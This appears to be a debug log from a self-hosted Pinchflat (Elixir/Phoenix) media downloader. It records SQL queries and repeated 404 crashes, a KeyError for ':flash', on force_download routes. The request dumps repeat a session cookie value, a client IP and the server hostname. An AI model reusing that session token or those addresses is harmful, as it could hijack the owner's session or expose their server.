IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 06:46:02.765 [debug] QUERY OK source="media_items" db=1.5ms idle=4.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.768 [info] Sent 200 in 21ms 06:46:02.806 [info] GET /sources/30/media/141479/force_download 06:46:02.807 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=46.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.808 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=46.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.808 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:02.809 [error] #PID<0.140566.0> running PinchflatWeb.Endpoint (connection #PID<0.140520.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141479/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140566.0>, params: %{}, path_info: ["sources", "30", "media", "141479", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/30/media/141479/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa8oLHI6iQsj0ADeqh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio (truncated) 06:46:02.847 [info] GET /sources/30/media/141479 06:46:02.847 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 06:46:02.848 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=86.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 06:46:02.850 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=86.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 06:46:02.850 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=84.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.852 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=44.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 06:46:02.853 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=44.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.854 [debug] QUERY OK source="settings" db=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.855 [info] GET /sources/31/media/141520/edit 06:46:02.856 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 06:46:02.856 [debug] QUERY OK source="settings" db=0.6ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.857 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:46:02.858 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.858 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.859 [debug] QUERY OK source="settings" db=0.4ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.861 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.864 [info] Sent 200 in 8ms 06:46:02.864 [info] Sent 200 in 17ms 06:46:02.867 [info] GET /sources/31/media/141520/force_download 06:46:02.868 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=10.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.869 [debug] QUERY OK source="settings" db=0.4ms idle=10.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.869 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:02.870 [error] #PID<0.140572.0> running PinchflatWeb.Endpoint (connection #PID<0.140517.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141520/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140572.0>, params: %{}, path_info: ["sources", "31", "media", "141520", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/media/141520/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa8oZtA5SDcAkADesB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio (truncated) 06:46:02.892 [info] GET /sources/31/media/141520 06:46:02.892 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:46:02.894 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=34.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:46:02.897 [debug] QUERY OK source="tasks" db=1.3ms queue=0.3ms idle=36.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 06:46:02.897 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=34.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.899 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=30.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 06:46:02.900 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=30.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.901 [debug] QUERY OK source="settings" db=0.4ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.903 [debug] QUERY OK source="settings" db=0.3ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.905 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.910 [info] Sent 200 in 17ms 06:46:02.924 [info] GET /sources/35/ 06:46:02.924 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:46:02.925 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=25.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", 